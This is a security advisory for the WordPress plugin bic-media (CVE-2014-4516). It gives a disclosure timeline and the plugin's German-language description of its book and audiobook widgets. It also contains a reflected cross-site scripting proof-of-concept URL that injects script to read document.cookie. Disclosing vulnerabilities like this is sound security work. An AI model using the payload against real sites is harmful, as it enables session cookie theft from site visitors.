wp-plugin : bic-media – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : bic-media

 

Effected Version : 1.0 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Prajal Kulkarni

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 

PoC:
http://localhost/wordpress/wp-content/wp-plugs/bicmedia/bicm-carousel-preview.php?param=param%22%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-21

 
Plugin Status : Closed
 
Public Disclosure : May 28, 2014
 
CVE Number : CVE-2014-4516

 
Plugin Description :
 
Das BIC Media Widget ist eine auf der Flash-Technologie basierende Komponente zur einfachen Integration der BIC Media Services in beliebigen Webseiten.
Es können sowohl Bücher als auch Hörbücher eingebunden werden. Sollte zu einem gesuchten Begriff ein Hörbuch oder Buch verfügbar sein, wird dieses automatisch vom Widget angezeigt.
Mehr Information zu BIC Media finden Sie unter [http://www.bic-media.com](http://www.bic-media.com)

Mit Hilfe des Widgets können Lese- und Hörproben aus mehreren Tausend Büchern und Hörbuchern in das eigene Blog eingebaut werden.

Mit einem ShortTag wie z.B. `[bic-media isbn="9783442310197"]` wird das Widget in einem Beitrag angezeigt.
Alle nötigen Javascripts zur Anzeige des Widgets werden vom Plugin automatisch eingebunden.

Im WordPress Editor gibt es nach der Installation des Plugins in der HTML Ansicht einen neuen Button "BIC Media Widget hinzufügen".
Beim Klick auf den Button wird nur noch die ISBN-13 erwartet, die dann überprüft wird.

Noch bequemer ist die Suche nach einem Buch über einen neuen "Media Button". Dieser ist allerdings nur sichtbar und nutzbar, wenn im Browser Javascript aktiviert ist.
Oberhalb des Eingabefensters fügt das Plugin ein neues Buch-Icon "BIC Media Widget hinzufügen". Ein Klick darauf öffnet einen neuen Dialog, in dem komfortabel ein Buch ausgewählt und dann in den Editor übernommen werden kann.

Es gibt zwei verschiedene Widgets:


= Einzel Widget =

Mit dem Einzel-Widget kann nur ein Buch oder Hörbuch dargestellt werden. Der ShortTag dafür lautet z.B.

`[bic-media isbn="9783442310197" param="showTooltip=no"]` wobei 9783442310197 die gewünschte ISBN Nummer und showTooltip=no der gewünschte Parameterstring ist.

Alle möglichen Konfigurationsparameter werden hier beschrieben: [http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=config](http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=config)


= Karussell Widget =

Ein Widget, mit dem mehrere Bücher oder Hörbücher gleichzeitig dargestellt werden können. Dazu kann man entweder eine Liste von ISBN Nummern eingeben oder mit Suchbegriffen eine Auswahl an Büchern zusammenstellen.
Über Autor, Titel und Verlag können die Ergebnisse gefiltert werden. Die Darstellung kann über Breite, Höhe, Hintergrundfarbe, Breite der Buchcover und über die maximale Anzahl der dargestellten Bücher individuell angepasst werden.

Der ShortTag für dieses Widget lautet z.B.:

`[bic-carousel param="{'width':400, 'height':250, 'publisher':'Heyne Verlag','title':'skorpion','bgcolor':'#B92845', 'size':20, 'coverWidth':125}"]`

wobei der Parameter param die Parameter enthält, die per Dialog ermittelt oder per Hand eingegeben werden können.

Alle möglichen Konfigurationsparameter werden hier beschrieben: [http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=carouselConfig](http://www.bic-media.com/dmr/index.jsp?nav=widget&nav2=carouselConfig)

Leave a Reply

Your email address will not be published. Required fields are marked *